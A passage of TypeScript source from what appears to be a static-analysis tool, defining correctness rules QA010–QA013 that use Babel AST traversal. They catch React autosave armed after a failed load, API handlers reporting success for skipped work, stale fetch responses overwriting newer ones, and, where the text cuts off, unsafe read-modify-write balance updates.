/^set([A-Z][A-Za-z0-9_]*)$/.exec(setter);\n if (!m) return null;\n return m[1].charAt(0).toLowerCase() + m[1].slice(1);\n}\n\n/** Every identifier named anywhere under `node`. */\nfunction identifiersIn(path: NodePath): Set<string> {\n const names = new Set<string>();\n path.traverse({\n Identifier(id) {\n names.add(id.node.name);\n },\n });\n const n = path.node as Node & { name?: string };\n if (n.type === \"Identifier\" && n.name) names.add(n.name);\n return names;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const autosaveArmedByFailedLoad: QualityRule = {\n id: \"QA010\",\n title: \"Autosave is armed by a load that failed\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"The flag that permits this component to write the user's state back is set in a `finally`, so a load that failed arms it exactly like one that succeeded — while the component is still holding the empty values it initialised with. Opening the page during a blip is enough to write those empties over whatever the user had saved, and the write looks like any other.\",\n fix: \"Set the arming flag on the success path only, and record the failure in its own state. The component can stay readable and interactive; it just must not write anything back until a load actually succeeds.\",\n precisionNotes:\n \"Fires on the ARMING, not on a missing guard: the shipped defect had a guard (`if (stateLoaded && !stateLoadFailed) saveState()`), and a rule keyed on unguarded writes would have missed it while reporting every correct autosave. Requires all of: a client file; a `useEffect` whose body reaches a persistent write (fetch with POST/PUT/PATCH, or localStorage/sessionStorage.setItem) either directly or through a same-file callback it names; that write gated on an identifier; a `set<Identifier>` for that same identifier called inside a `finally` block; and at least one `useState` in the file initialised to an empty literal — `[]`, `{}` or `\\\"\\\"`, never `0`, because the empty literal is what turns \\\"wrote too early\\\" into \\\"erased what was there\\\". The join between the finally-set flag and the write's guard is the whole narrowing: `finally { setLoading(false) }` is everywhere and correct, and is only reportable when that same flag is what permits the write. The value matters too — a `finally` that sets the flag back to the literal `useState` started it as is a reset and cannot arm anything, which is what separates this from the hundreds of correct `finally` blocks around it. Measured across 168 third-party repositories: 0 fires. The denominator is the client files among them, not the whole corpus.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (!isClientTarget(file)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n // Clause 2, cheap half — no empty-literal `useState` anywhere in the\n // file means none in any writer either, so the whole file can be skipped\n // without parsing further. A regex over the file is a SUPERSET of the\n // real clause and can only over-admit, never over-reject; the precise\n // half runs against the writer's own subtree below.\n if (!EMPTY_INITIAL.test(file.code)) continue;\n\n // Every state identifier whose setter is called inside a `finally`.\n // That is the arming defect: a `finally` cannot distinguish the load\n // that worked from the one that did not.\n const armedInFinally = new Map<string, number>();\n traverse(parsed.ast, {\n TryStatement(path) {\n const finalizer = path.get(\"finalizer\");\n if (!finalizer || Array.isArray(finalizer) || !finalizer.node) return;\n finalizer.traverse({\n CallExpression(call) {\n const name = calleeIdentifier(call.node);\n if (!name) return;\n const state = stateFromSetter(name);\n if (!state) return;\n // A `finally` that sets the flag back to what it started as\n // cannot ARM anything — it is a reset, which is what almost\n // every `finally` in every React codebase is doing.\n //\n // Measured on 168 sampled repositories, this was the rule's one\n // false positive: `const [isRunning, setIsRunning] =\n // useState(false)` with `finally { setIsRunning(false) }`, a\n // countdown timer gated on `if (!isRunning) return`, and an\n // unrelated `useState(\"\")` elsewhere in the file satisfying the\n // empty-initial clause. Nothing there can write early, because\n // the `finally` closes the gate rather than opening it.\n //\n // The shipped defect is the opposite: useState(false) with\n // `finally { setStateLoaded(true) }` — a transition, and the\n // transition is the arming.\n if (setsBackToInitial(call.node, useStateBinding(call, state)?.initial)) return;\n armedInFinally.set(state, nodeStart(call.node));\n },\n });\n },\n });\n if (armedInFinally.size === 0) continue;\n\n // Functions declared in this file that themselves perform a persistent\n // write, so `useEffect(() => { saveState(); }, [...])` is reachable.\n // name -> every subtree that says what this writer carries: the function\n // itself, plus its wrapper's dependency array when it has one.\n const writingFunctions = new Map<string, NodePath[]>();\n traverse(parsed.ast, {\n Function(path) {\n const src = file.code.slice(nodeStart(path.node), nodeEnd(path.node));\n if (!PERSISTENT_WRITE.test(src)) return;\n // The name may be one or two levels up: `const save = () => …` binds\n // directly, but `const save = useCallback(() => …, [])` — which is how\n // every debounced autosave in this codebase is written, and how the\n // shipped defect was written — puts a CallExpression in between. An\n // earlier draft only looked at the immediate parent and therefore\n // did not fire on the real bug at all.\n const deps: NodePath[] = [];\n let owner: NodePath | null = path.parentPath;\n for (let hops = 0; owner && hops < 3; hops++, owner = owner.parentPath) {\n const node = owner.node;\n if (node.type === \"VariableDeclarator\" && node.id.type === \"Identifier\") {\n writingFunctions.set(node.id.name, [path, ...deps]);\n break;\n }\n // Only step through wrapper calls (useCallback / useMemo / memo);\n // anything else means this function is an argument, not a binding.\n if (node.type !== \"CallExpression\") break;\n const depArg = owner.get(\"arguments.1\") as NodePath | undefined;\n if (depArg && depArg.node) deps.push(depArg);\n }\n const n = path.node as Node & { id?: { name?: string } | null };\n if (n.id && n.id.name) writingFunctions.set(n.id.name, [path, ...deps]);\n },\n });\n\n const reported = new Set<string>();\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isEffectCall(path.node)) return;\n const cb = path.get(\"arguments.0\") as NodePath | undefined;\n if (!cb || !cb.node) return;\n\n const body = file.code.slice(nodeStart(cb.node), nodeEnd(cb.node));\n const names = identifiersIn(cb);\n const writesDirectly = PERSISTENT_WRITE.test(body);\n const calledWriters = [...writingFunctions.entries()]\n .filter(([fn]) => names.has(fn))\n .flatMap(([, paths]) => paths);\n if (!writesDirectly && calledWriters.length === 0) return;\n\n // Clause 2, at the scope it qualifies: the state this write carries\n // has to be one that starts empty. The file-level prefilter above is\n // a superset of this and only exists to skip files cheaply.\n const effectDeps = path.get(\"arguments.1\") as NodePath | undefined;\n const writers = [\n ...(writesDirectly ? [cb] : []),\n ...calledWriters,\n ...(effectDeps && effectDeps.node ? [effectDeps] : []),\n ];\n if (!writerTouchesEmptyState(writers)) return;\n\n // Clause 3 — the write is gated on a flag this file arms in a\n // `finally`. Both halves are required: the flag alone is a spinner,\n // the gate alone is correct autosave.\n for (const [state, armLine] of armedInFinally) {\n if (!names.has(state)) continue;\n if (reported.has(state)) continue;\n // The identifier has to appear in a test, not merely be mentioned.\n if (!new RegExp(`\\\\bif\\\\s*\\\\([^)]*\\\\b${state}\\\\b`).test(body)) continue;\n reported.add(state);\n hits.push({\n file: file.path,\n line: lineAt(file.content, armLine),\n detail: `\\`${state}\\` is what permits this component to write the user's state back, and it is set in a \\`finally\\` — so a load that threw arms the write exactly like one that succeeded, while the component still holds its initial empty values.`,\n });\n }\n },\n });\n }\n\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n Function as BabelFunction,\n IfStatement,\n Node,\n ObjectExpression,\n ReturnStatement,\n} from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA011 — success is reported for work a missing setting skipped.\n *\n * The handler checks whether something is configured, finds it is not, and\n * returns the SAME success payload it would have returned had the work\n * happened. The caller cannot tell the two apart, because they are identical.\n *\n * This product's own `/api/scans` did it: `if (!db) return\n * NextResponse.json({ scan: { id } })` at one end of the handler, and\n * `return NextResponse.json({ scan: { id } })` at the other. The CLI reads\n * `res.ok ? \"uploaded\" : \"failed\"`, so a scan that was never stored was\n * reported to the user as saved, and the dashboard it was saved to was empty.\n *\n * THE FRAMING IS WHAT MAKES THIS SHIPPABLE. \"An env var might be unset\" is a\n * deployment-convention judgement and is not a defect. \"The guarded response is\n * byte-indistinguishable from the success response\" is decidable from the file,\n * and it is the same lens as QA001 and QA002: the app reports something that\n * did not happen.\n *\n * Four kinds of correct code tripped the first draft, and each clause below is\n * one of them:\n *\n * nothing to invalidate a cache `del` skipped when Redis is unset is not a\n * lie — there is no durable effect to skip.\n * guard after the write the primary insert already happened; only a\n * secondary mirror is skipped.\n * audit rows the work happened in someone else's system and\n * only our log of it is skipped.\n * external primary the subscribe went to the provider; the local\n * mirror row is the part that did not.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/** Handlers that change something. A GET has nothing to skip. */\nconst MUTATING_METHODS = new Set([\"POST\", \"PUT\", \"PATCH\", \"DELETE\"]);\n\n/**\n * Clause 5 — the effect allowlist: durable writes only.\n *\n * Cache `.del`/`.set`, `revalidatePath` and logger calls are deliberately out.\n * Skipping those is not a lie about what happened, and including them is what\n * made the first draft fire on correct cache-invalidation handlers.\n *\n * Each SQL alternative closes with its OWN `\\b`. A single trailing `\\b` on the\n * group made the raw-SQL UPDATE arm dead: `UPDATE\\s+\\w` ends on the FIRST\n * character of the table name, so the boundary had to hold between two word\n * characters and always failed. `UPDATE team_members SET ...` did not match;\n * only a one-character table name did. The arm matched nothing real for its\n * whole life, and clause 4 was blind to UPDATE-only handlers.\n *\n * The replacement anchors on SET rather than the bare `UPDATE\\s+\\w+\\b` the\n * boundary was reaching for. `\\w+\\b` matches ordinary prose — \"update role\",\n * \"update your payment method\", \"update database\" — and DURABLE_WRITE both\n * admits findings (clause 4, the text after the guard) and suppresses them\n * (clause 3, the text before it), so prose in a comment would silently corrupt\n * either. Measured over packages/web: `\\w+\\b` adds 112 matches, most of them\n * prose; `\\w+\\s+SET\\b` adds 50, every one a real SQL UPDATE.\n *\n * Known gap, deliberate: an aliased or prefixed target (`UPDATE users u SET`,\n * `UPDATE OR REPLACE t SET`) is not matched. Neither appears in this corpus, so\n * widening for it would be unmeasured.\n *\n * `ON CONFLICT ... DO UPDATE SET` upserts are unaffected — they are matched by\n * the INSERT INTO that opens the same statement.\n */\nexport const DURABLE_WRITE =\n /\\b(?:INSERT\\s+INTO\\b|UPDATE\\s+\\w+\\s+SET\\b|DELETE\\s+FROM\\b)|\\bprisma\\s*\\.\\s*\\w+\\s*\\.\\s*(?:create|createMany|update|updateMany|delete|deleteMany|upsert)\\s*\\(|\\.from\\s*\\([^)]*\\)\\s*\\.\\s*(?:insert|update|delete|upsert)\\s*\\(|\\b(?:db|tx|trx)\\s*\\.\\s*(?:insert|update|delete)\\s*\\(/i;\n\n/**\n * Clause 3 — an external mutating call, which counts as an effect that already\n * happened if it sits before the guard.\n */\nconst EXTERNAL_MUTATION =\n /\\b\\w+\\s*\\.\\s*\\w+\\s*\\.\\s*(?:create|send|update|delete|cancel|charge|capture|refund)\\s*\\(|\\bfetch\\s*\\([^)]{0,300}?method\\s*:\\s*[\"'`](?:POST|PUT|PATCH|DELETE)[\"'`]/is;\n\n/**\n * Clause 6 — vocabulary exoneration.\n *\n * A skipped analytics row, audit log or telemetry ping is not the app lying\n * about the user's work; it is the app lying about its own bookkeeping, which\n * nobody is acting on. Matched against the route path, the accessor\n * identifier and the target table noun.\n */\nconst BOOKKEEPING = /analytics|telemetry|track|metric|event|beacon|log|audit|ping/i;\n\n/** `!process.env.X` / `!Deno.env.get(\"X\")`, written directly in the test. */\nconst DIRECT_ENV_TEST = /\\bprocess\\s*\\.\\s*env\\b|\\bDeno\\s*\\.\\s*env\\s*\\.\\s*get\\s*\\(/;\n\nfunction calleeName(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\n/** The top-level key names of an object literal, sorted. `null` if not one. */\nfunction keyShape(node: Node | null | undefined): string | null {\n if (!node || node.type !== \"ObjectExpression\") return null;\n const keys: string[] = [];\n for (const prop of (node as ObjectExpression).properties) {\n if (prop.type === \"ObjectProperty\" && prop.key.type === \"Identifier\") keys.push(prop.key.name);\n else if (prop.type === \"ObjectProperty\" && prop.key.type === \"StringLiteral\") keys.push(prop.key.value);\n else return null; // a spread makes the shape undecidable; say so rather than guess\n }\n return keys.sort().join(\",\");\n}\n\n/**\n * The key-shape of a 2xx JSON response returned by this statement.\n *\n * `null` for anything that is not plainly a success JSON body — a non-2xx\n * status, a Response with a status argument we cannot read, a bare value.\n */\nfunction successPayloadShape(ret: ReturnStatement, source: string, offset: number): string | null {\n const arg = ret.argument;\n if (!arg || arg.type !== \"CallExpression\") return null;\n const text = source.slice(nodeStart(ret) - offset, nodeEnd(ret) - offset);\n // An explicit non-2xx is a visible failure, which is the correct shape.\n if (/status\\s*:\\s*[45]\\d\\d|,\\s*\\{\\s*status\\s*:\\s*[45]\\d\\d/.test(text)) return null;\n const name = calleeName(arg);\n if (name !== \"json\" && name !== \"Response\" && name !== \"NextResponse\") return null;\n const first = arg.arguments[0] as Node | undefined;\n if (!first) return null;\n // `new Response(JSON.stringify({...}))` — reach through the stringify.\n if (first.type === \"CallExpression\" && calleeName(first) === \"stringify\") {\n return keyShape(first.arguments[0] as Node | undefined);\n }\n return keyShape(first);\n}\n\nexport const configSkippedWork: QualityRule = {\n id: \"QA011\",\n title: \"Success is reported for work a missing setting skipped\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"When this setting is absent the handler returns early — with the same success payload it returns when the work actually happened. The caller cannot tell the two apart, so a request that did nothing is reported as one that did: the row was never written, and whoever asked is told it was.\",\n fix: \"Answer differently when the work was skipped. Either fail with a non-2xx so the caller can retry, or return a payload that says what did not happen. Returning the success shape is only correct if the success actually occurred.\",\n precisionNotes:\n \"The claim is not \\\"an env var might be unset\\\" — that is a deployment-convention judgement, and unshippable. It is \\\"the guarded response is byte-indistinguishable from the success response\\\", which is decidable from the file, and it is the sharpest clause: the shapes are compared as sorted top-level key sets, and a spread makes the shape undecidable so the rule declines rather than guesses. On top of that: exported POST/PUT/PATCH/DELETE only; the absence test must read process.env/Deno.env directly or test a local bound from a ZERO-ARG accessor (`getTenantDb(orgId)` is a per-tenant fact, not a config fact); the guard must DOMINATE the effects — no durable write and no external mutating call before it, at least one durable write after it, which kills both the cache-invalidation handler with no durable effect at all and the handler whose primary insert already happened; and bookkeeping vocabulary (analytics, telemetry, audit, log, metric, ping) on the route path, the accessor name or the target noun is exonerated, because a skipped audit row is the app lying about its own records rather than about the user's work.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (file.excluded) continue;\n if (!file.isServer) continue;\n if (BOOKKEEPING.test(file.path)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n traverse(parsed.ast, {\n Function(path: NodePath<BabelFunction>) {\n const node = path.node as Node & { id?: { name?: string } | null };\n let name: string | null = node.id?.name ?? null;\n if (!name && path.parent.type === \"VariableDeclarator\" && path.parent.id.type === \"Identifier\") {\n name = path.parent.id.name;\n }\n if (!name || !MUTATING_METHODS.has(name)) return;\n\n const fnStart = nodeStart(path.node);\n const fnSource = file.code.slice(fnStart, nodeEnd(path.node));\n\n // The terminal success: the LAST qualifying 2xx return in the handler.\n let terminal: { shape: string; start: number } | null = null;\n const guards: { shape: string; start: number; test: string }[] = [];\n\n path.traverse({\n ReturnStatement(ret) {\n const shape = successPayloadShape(ret.node, file.code, 0);\n if (shape === null) return;\n const start = nodeStart(ret.node);\n // Inside an `if` whose test is a config-absence check?\n const ifPath = ret.findParent((p) => p.isIfStatement()) as NodePath<IfStatement> | null;\n if (ifPath) {\n const test = file.code.slice(nodeStart(ifPath.node.test), nodeEnd(ifPath.node.test));\n if (isConfigAbsenceTest(test, ifPath, file.code)) {\n guards.push({ shape, start, test });\n return;\n }\n }\n if (!terminal || start > terminal.start) terminal = { shape, start };\n },\n });\n\n if (!terminal || guards.length === 0) return;\n const term = terminal as { shape: string; start: number };\n\n for (const guard of guards) {\n // Clause 4 — the sharpest one. Different shapes mean the caller\n // CAN tell, which is the correct behaviour.\n if (guard.shape !== term.shape) continue;\n if (BOOKKEEPING.test(guard.test)) continue;\n\n // Clause 3 — the guard must dominate the effects.\n const before = file.code.slice(fnStart, guard.start);\n const after = file.code.slice(guard.start, nodeEnd(path.node));\n if (DURABLE_WRITE.test(before)) continue;\n if (EXTERNAL_MUTATION.test(before)) continue;\n if (!DURABLE_WRITE.test(after)) continue;\n // Clause 6 — the noun being written.\n const writeMatch = DURABLE_WRITE.exec(after);\n if (writeMatch && BOOKKEEPING.test(after.slice(writeMatch.index, writeMatch.index + 120))) continue;\n\n hits.push({\n file: file.path,\n line: lineAt(file.content, guard.start),\n detail: `This early return answers with the same payload shape (\\`{${guard.shape}}\\`) as the handler's success return, so a caller cannot tell that the work was skipped. ${fnSource.length > 0 ? \"\" : \"\"}The write below it never runs, and whoever made the request is told it did.`,\n });\n break; // one finding per handler\n }\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Is this `if` test asking \"is this thing configured?\"\n *\n * Either it reads the environment directly, or it is a falsy test on a local\n * bound from a ZERO-ARGUMENT accessor. Zero-arg is load-bearing: a\n * `getTenantDb(orgId)` that returns null is a per-tenant fact about this\n * request, not a fact about how the app was deployed, and skipping work for it\n * is often correct.\n */\nfunction isConfigAbsenceTest(test: string, ifPath: NodePath<IfStatement>, code: string): boolean {\n if (DIRECT_ENV_TEST.test(test)) return true;\n const m = /^!\\s*([A-Za-z_$][\\w$]*)$/.exec(test.trim());\n if (!m) return false;\n const local = m[1];\n const fn = ifPath.getFunctionParent();\n if (!fn) return false;\n const scope = code.slice(nodeStart(fn.node), nodeEnd(fn.node));\n // `const db = getDb();` — no arguments.\n return new RegExp(`\\\\b(?:const|let|var)\\\\s+${local}\\\\s*=\\\\s*(?:await\\\\s+)?[A-Za-z_$][\\\\w$]*\\\\s*\\\\(\\\\s*\\\\)`).test(scope);\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { CallExpression, Node } from \"@babel/types\";\nimport { isClientTarget, lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { isFetchCallee, nodeEnd, nodeStart } from \"./silent-failed-write.js\";\nimport { useStateBinding } from \"./scope.js\";\n\n/**\n * QA012 — a stale response wins the race.\n *\n * The user picks project A, the effect fetches it, they pick B before it\n * lands, the effect fetches B, and B answers first. A arrives second and\n * overwrites it. The selector says B and the panel shows A, and nothing is\n * broken enough for anyone to notice — the data is real, it is just the wrong\n * data, and it stays wrong until the next interaction.\n *\n * React has one answer to this and the effect either uses it or does not: the\n * cleanup function. `return () => { cancelled = true }`, an AbortController, a\n * `signal` — any of them makes the late response a no-op. This rule is the\n * absence of all of them on an effect whose request URL depends on something\n * the user can change faster than the network can answer.\n *\n * TWO CLAUSES CAME FROM BEING WRONG.\n *\n * The first draft asked whether the interpolated identifier was ASSIGNED\n * INSIDE THE EFFECT BODY. An effect-local constant satisfies that —\n * `const base = process.env.NEXT_PUBLIC_API ?? \"\"` — so it fired on a fetch\n * whose URL cannot vary between renders at all. What matters is not where the\n * identifier was assigned but whether it is DERIVED FROM A DEPENDENCY, because\n * only a dependency can change while a request is in flight.\n *\n * The second: an identifier REFERENCED AGAIN AFTER the network call is the\n * signature of code that already handles this. Both correct spellings do it —\n * the keyed write `setCache(prev => ({ ...prev, [id]: data }))`, where\n * out-of-order arrival is harmless because the results do not share a slot,\n * and the hand-rolled guard `if (latest.current === id) setScan(data)`, which\n * is a cleanup function written by hand. Neither mentions `cancelled`,\n * `AbortController` or any of the other tokens, so nothing else excludes them.\n *\n * FREQUENCY IS THIS RULE'S WEAK POINT AND IS WORTH STATING. Two distinct\n * defects, one codebase, one author. It is narrow and it is correct on what it\n * has been run against, but it has not been measured at population scale the\n * way silent-failed-read has.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/**\n * Anything that makes a late response a no-op.\n *\n * `return () =>` is the cleanup function itself; the rest are the idioms people\n * write inside one. Matched over the effect body, because any of them means the\n * author has thought about ordering.\n */\nconst ORDERING_GUARD =\n /\\breturn\\s*\\(\\s*\\)\\s*=>|\\bAbortController\\b|\\bsignal\\b|\\bcancell?ed\\b|\\bignore\\b|\\bstale\\b|\\bisMounted\\b|\\baborted\\b/i;\n\n/** A React state setter, by the convention React documents. */\nconst SETTER = /^set[A-Z][A-Za-z0-9_]*$/;\n\nfunction calleeIdentifier(node: Node): string | null {\n if (node.type !== \"CallExpression\") return null;\n const c = node.callee;\n if (c.type === \"Identifier\") return c.name;\n if (c.type === \"MemberExpression\" && c.property.type === \"Identifier\") return c.property.name;\n return null;\n}\n\nfunction isEffectCall(node: Node): boolean {\n const n = calleeIdentifier(node);\n return n === \"useEffect\" || n === \"useLayoutEffect\";\n}\n\n/** Identifiers interpolated into a template literal. */\nfunction templateIdentifiers(node: Node): string[] {\n if (node.type !== \"TemplateLiteral\") return [];\n const out: string[] = [];\n for (const expr of node.expressions) {\n collectIdentifiers(expr as Node, out);\n }\n return out;\n}\n\nfunction collectIdentifiers(node: Node, out: string[]): void {\n if (!node || typeof node !== \"object\") return;\n if (node.type === \"Identifier\") {\n out.push(node.name);\n return;\n }\n for (const key of Object.keys(node)) {\n if (key === \"loc\" || key === \"leadingComments\" || key === \"trailingComments\") continue;\n const v = (node as unknown as Record<string, unknown>)[key];\n if (Array.isArray(v)) v.forEach((c) => c && typeof c === \"object\" && collectIdentifiers(c as Node, out));\n else if (v && typeof v === \"object\" && \"type\" in (v as object)) collectIdentifiers(v as Node, out);\n }\n}\n\n/**\n * Is `name` the dependency, or derived from one inside this effect?\n *\n * Walks assignment chains within the effect body: `targetId` comes from\n * `listData.scans[0].id`, then is reassigned from a `.find()` whose predicate\n * closes over `selectedProject`, which is the dep. Bounded depth, because this\n * is a heuristic about provenance and not a dataflow engine.\n */\nfunction derivesFromDep(\n name: string,\n deps: Set<string>,\n effect: NodePath,\n code: string,\n): boolean {\n if (deps.has(name)) return true;\n let found = false;\n const seen = new Set<string>([name]);\n const frontier = [name];\n for (let depth = 0; depth < 4 && frontier.length && !found; depth++) {\n const current = frontier.splice(0, frontier.length);\n for (const target of current) {\n effect.traverse({\n VariableDeclarator(p) {\n if (found) return;\n if (p.node.id.type !== \"Identifier\" || p.node.id.name !== target) return;\n if (!p.node.init) return;\n const names: string[] = [];\n collectIdentifiers(p.node.init as Node, names);\n for (const n of names) {\n if (deps.has(n)) { found = true; return; }\n if (!seen.has(n)) { seen.add(n); frontier.push(n); }\n }\n },\n AssignmentExpression(p) {\n if (found) return;\n if (p.node.left.type !== \"Identifier\" || p.node.left.name !== target) return;\n const names: string[] = [];\n collectIdentifiers(p.node.right as Node, names);\n for (const n of names) {\n if (deps.has(n)) { found = true; return; }\n if (!seen.has(n)) { seen.add(n); frontier.push(n); }\n }\n },\n });\n }\n }\n return found;\n}\n\nexport const staleResponseWins: QualityRule = {\n id: \"QA012\",\n title: \"A stale response can overwrite a newer one\",\n severity: \"medium\",\n category: \"Correctness\",\n description:\n \"This effect refetches whenever the user changes their selection, and does nothing to cancel the request already in flight. Pick one thing, then another before the first answers, and the first response lands last and wins: the selector says one thing and the panel shows another. Nothing errors, the data is real — it is just the wrong data, and it stays wrong until the next interaction.\",\n fix: \"Return a cleanup function from the effect that makes the late response a no-op — set a `cancelled` flag the `.then` checks, or abort the request with an AbortController and pass its `signal` to fetch. React calls the cleanup before it re-runs the effect, which is exactly when the older request becomes irrelevant.\",\n precisionNotes:\n \"Two clauses came from being wrong. The first draft asked whether the interpolated identifier was ASSIGNED INSIDE THE EFFECT, which an effect-local constant satisfies (`const base = process.env.NEXT_PUBLIC_API ?? \\\"\\\"`), so it fired on URLs that cannot vary between renders; what matters is that the identifier is DERIVED FROM A DEPENDENCY, since only a dependency can change mid-flight. The second: an identifier REFERENCED AGAIN AFTER the network call is the signature of code that already handles ordering — the keyed write `setCache(prev => ({ ...prev, [id]: data }))`, where out-of-order arrival is harmless, and the hand-rolled `if (latest.current === id) setScan(data)`, which is a cleanup function written by hand. Neither mentions cancelled/AbortController/signal, so nothing else excludes them. Also required: a non-empty dep array, a literal `fetch(`, a state setter after it, and the dependency must be a useState in this file wired to an onChange — the strict form, because relaxing it to \\\"or any dep\\\" reopens the child that fetches on a prop whose parent remounts it with a `key`, and that remount is invisible from the child's file. Frequency is this rule's weak point and is worth stating: three distinct defects now, across two codebases — two in this product, and one found across 168 third-party repositories, verified real, with no false positives beside it. Precise on everything it has been run against; still rare. Shipped at medium for that reason.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n if (!isClientTarget(file)) continue;\n const parsed = file.parsed;\n if (!parsed) continue;\n\n traverse(parsed.ast, {\n CallExpression(path) {\n if (!isEffectCall(path.node)) return;\n const args = path.node.arguments;\n const cbNode = args[0] as Node | undefined;\n const depNode = args[1] as Node | undefined;\n if (!cbNode || !depNode || depNode.type !== \"ArrayExpression\") return;\n if (depNode.elements.length === 0) return;\n\n const deps = new Set<string>();\n for (const el of depNode.elements) {\n if (el && el.type === \"Identifier\") deps.add(el.name);\n }\n if (deps.size === 0) return;\n\n const cb = path.get(\"arguments.0\") as NodePath;\n if (!cb || !cb.node) return;\n const bodyStart = nodeStart(cb.node);\n const bodySource = file.code.slice(bodyStart, nodeEnd(cb.node));\n\n // Any ordering guard at all and the author has handled this.\n if (ORDERING_GUARD.test(bodySource)) return;\n\n let hit: { line: number; ident: string } | null = null;\n cb.traverse({\n CallExpression(inner: NodePath<CallExpression>) {\n if (hit) return;\n if (!isFetchCallee(inner.node.callee)) return;\n const url = inner.node.arguments[0] as Node | undefined;\n if (!url) return;\n const interpolated = templateIdentifiers(url);\n if (interpolated.length === 0) return;\n\n const callEnd = nodeEnd(inner.node);\n const afterCall = file.code.slice(callEnd, nodeEnd(cb.node));\n // A state setter has to run with what came back, or nothing is\n // overwritten and there is no race to lose.\n let setsState = false;\n cb.traverse({\n CallExpression(c) {\n if (setsState) return;\n if (nodeStart(c.node) < callEnd) return;\n const n = calleeIdentifier(c.node);\n if (n && SETTER.test(n)) setsState = true;\n },\n });\n if (!setsState) return;\n\n for (const ident of interpolated) {\n if (!derivesFromDep(ident, deps, cb, file.code)) continue;\n // Referenced again after the request: a keyed write or a\n // hand-rolled ordering guard. Both are correct.\n if (new RegExp(`\\\\b${ident}\\\\b`).test(afterCall)) continue;\n // The dependency THE URL DERIVES FROM must be one the user can\n // change faster than the network answers. `deps.some(...)` let\n // any entry in the array satisfy this — including one belonging\n // to an unrelated concern — while `ident`, the identifier\n // actually interpolated into the URL, was discarded for the\n // clause that decides whether a race is reachable.\n const driving = [...deps].filter((d) =>\n derivesFromDep(ident, new Set([d]), cb, file.code),\n );\n if (!driving.some((d) => userDriven(d, cb))) continue;\n hit = { line: lineAt(file.content, nodeStart(inner.node)), ident };\n return;\n }\n },\n });\n\n if (!hit) return;\n const { line, ident } = hit as { line: number; ident: string };\n hits.push({\n file: file.path,\n line,\n detail: `This request's URL depends on \\`${ident}\\`, which changes when the user does, and the effect returns no cleanup — so a response for the previous selection can arrive after the current one and overwrite it. The screen then shows data that does not match the control above it.`,\n });\n },\n });\n }\n\n return hits;\n },\n};\n\n/**\n * Is `dep` a piece of state the user drives directly?\n *\n * `const [x, setX] = useState(...)` visible from the effect, with the REAL\n * destructured setter wired to an `onChange`/`onClick`/`onInput`/`onSelect` in\n * the component that declares it. The strict form is deliberate: relaxing it to\n * \"any dependency\" reopens the child that fetches on a prop whose parent\n * renders it with a `key`, so React unmounts the instance and no race exists —\n * and that remount is invisible from inside the child's file.\n *\n * Resolved through SCOPE, not by regex over the file. The regex form guessed\n * the setter from the state name (`set${Dep}`) and matched anywhere in the\n * file, so in a multi-component file a second component's `query` wired to its\n * own input satisfied the clause for this component's effect — the same\n * wider-scope defect QA009 and QA010 were fixed for, in the firing direction,\n * on a rule whose whole evidence base is three findings.\n */\nfunction userDriven(dep: string, at: NodePath): boolean {\n const binding = useStateBinding(at, dep);\n const setter = binding?.setter;\n if (!setter) return false;\n\n const owner = binding.decl.getFunctionParent() ?? binding.decl.scope.path;\n let wired = false;\n owner.traverse({\n JSXAttribute(attr) {\n if (wired) return;\n const name = attr.node.name;\n if (name.type !== \"JSXIdentifier\") return;\n if (!/^on(?:Change|Click|Input|Select)$/.test(name.name)) return;\n attr.traverse({\n Identifier(id) {\n if (id.node.name === setter) wired = true;\n },\n });\n },\n });\n return wired;\n}\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type { Function as BabelFunction, Node } from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityHit, QualityRule } from \"../types.js\";\nimport { nodeEnd, nodeStart } from \"./silent-failed-write.js\";\n\n/**\n * QA013 — a balance is read, changed in JavaScript, and written back.\n *\n * Two requests read 10 credits, both compute 9, both write 9. One of the two\n * spends is free. The window is the round trip between the read and the write,\n * which is exactly when a second request is most likely to arrive, and nothing\n * about it is visible in development where requests arrive one at a time.\n *\n * THIS RULE IS NOT IN THE DEFAULT CATALOGUE. See `unmeasuredQualityRules` in\n * ../index.ts. Every other rule here quotes a real denominator — \"0 hits across\n * 3,515 corpus files\", \"276 naive fires in 35 repos\". This one cannot: a grep\n * for credits/balance/stock against UPDATE in this repository returns nothing,\n * so its measured false-positive rate is 0 out of 0, which measures nothing at\n * all. The precision bar is the product, and a rule with no denominator has not\n * met it. It ships so it can be run against a corpus that contains counters;\n * it does not ship enabled.\n *\n * The column allowlist is what makes the consequence sentence true. A\n * denormalised `comment_count` reconciled nightly loses an update and nobody\n * cares; \"you are charged for one of the two things you bought\" only holds for\n * money and inventory. Widening this list later would quietly turn a precise\n * rule into \"every counter in your app\", which is the naive version this was\n * 